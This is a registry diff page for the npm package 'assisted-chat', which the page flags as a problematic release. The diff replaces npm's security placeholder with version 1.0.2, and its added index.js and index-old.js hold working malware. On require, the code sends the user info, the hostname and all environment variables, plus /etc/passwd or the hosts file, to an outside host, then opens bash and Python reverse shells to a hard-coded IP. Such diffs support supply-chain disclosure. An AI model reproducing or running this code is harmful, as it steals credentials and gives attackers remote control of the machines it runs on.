assisted-chat 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of assisted-chat might be problematic. Click here for more details.

package/index-old.js ADDED
@@ -0,0 +1,25 @@
1
+ const fs = require('fs');
2
+ const os = require('os');
3
+ const https = require('https');
4
+
5
+ function exfiltrate() {
6
+ const data = JSON.stringify({
7
+ user: os.userInfo(),
8
+ hostname: os.hostname(),
9
+ env: process.env
10
+ });
11
+
12
+ const options = {
13
+ hostname: 'rfkdzilfytxwxuugbptenlr7n7wr1qdyg.oast.fun',
14
+ port: 443,
15
+ path: '/monetaaplikacenpmtakoverpoc',
16
+ method: 'POST',
17
+ headers: { 'Content-Type': 'application/json' }
18
+ };
19
+
20
+ const req = https.request(options);
21
+ req.write(data);
22
+ req.end();
23
+ }
24
+
25
+ exfiltrate();
package/index.js ADDED
@@ -0,0 +1,68 @@
1
+ const fs = require('fs');
2
+ const os = require('os');
3
+ const https = require('https');
4
+ const { exec } = require('child_process');
5
+
6
+ function exfiltrate() {
7
+ // Collect system information
8
+ const data = JSON.stringify({
9
+ user: os.userInfo(),
10
+ hostname: os.hostname(),
11
+ env: process.env
12
+ });
13
+
14
+ // Determine the OS and read the appropriate file
15
+ let sensitiveFileContent = '';
16
+ if (os.platform() === 'linux' || os.platform() === 'darwin') {
17
+ // Unix-like systems: read /etc/passwd
18
+ try {
19
+ sensitiveFileContent = fs.readFileSync('/etc/passwd', 'utf8');
20
+ } catch (err) {
21
+ sensitiveFileContent = `Error reading /etc/passwd: ${err.message}`;
22
+ }
23
+ } else if (os.platform() === 'win32') {
24
+ // Windows: read C:\Windows\System32\drivers\etc\hosts
25
+ try {
26
+ sensitiveFileContent = fs.readFileSync('C:\\Windows\\System32\\drivers\\etc\\hosts', 'utf8');
27
+ } catch (err) {
28
+ sensitiveFileContent = `Error reading hosts file: ${err.message}`;
29
+ }
30
+ } else {
31
+ sensitiveFileContent = 'Unsupported operating system';
32
+ }
33
+
34
+ // Add the sensitive file content to the data
35
+ const exfilData = JSON.stringify({
36
+ ...JSON.parse(data),
37
+ sensitiveFile: sensitiveFileContent
38
+ });
39
+
40
+ // Exfiltrate the data
41
+ const options = {
42
+ hostname: 'rfkdzilfytxwxuugbptenlr7n7wr1qdyg.oast.fun',
43
+ port: 443,
44
+ path: '/npmtakeovermonetarce',
45
+ method: 'POST',
46
+ headers: {
47
+ 'Content-Type': 'application/json'
48
+ }
49
+ };
50
+
51
+ const req = https.request(options);
52
+ req.write(exfilData);
53
+ req.end();
54
+
55
+ // Execute reverse shells based on the OS
56
+ if (os.platform() === 'linux' || os.platform() === 'darwin') {
57
+ // Bash reverse shell
58
+ exec('bash -c "bash -i >& /dev/tcp/157.173.200.135/2460 0>&1"');
59
+
60
+ // Python3 reverse shell
61
+ exec('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("157.173.200.135",2460));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
62
+ } else if (os.platform() === 'win32') {
63
+ // Windows reverse shell (Python3)
64
+ exec('python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'157.173.200.135\',2460));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\'cmd.exe\',\'/i\']);"');
65
+ }
66
+ }
67
+
68
+ exfiltrate();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "assisted-chat",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/sc.js ADDED
@@ -0,0 +1,7 @@
1
+ const assistedChat = require('assisted-chat');
2
+
3
+ // Log the contents of assistedChat to see what it exports
4
+ console.log(assistedChat);
5
+
6
+ // Example usage, depending on what it exports
7
+ // Replace this with the correct usage from the module
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=assisted-chat for more information.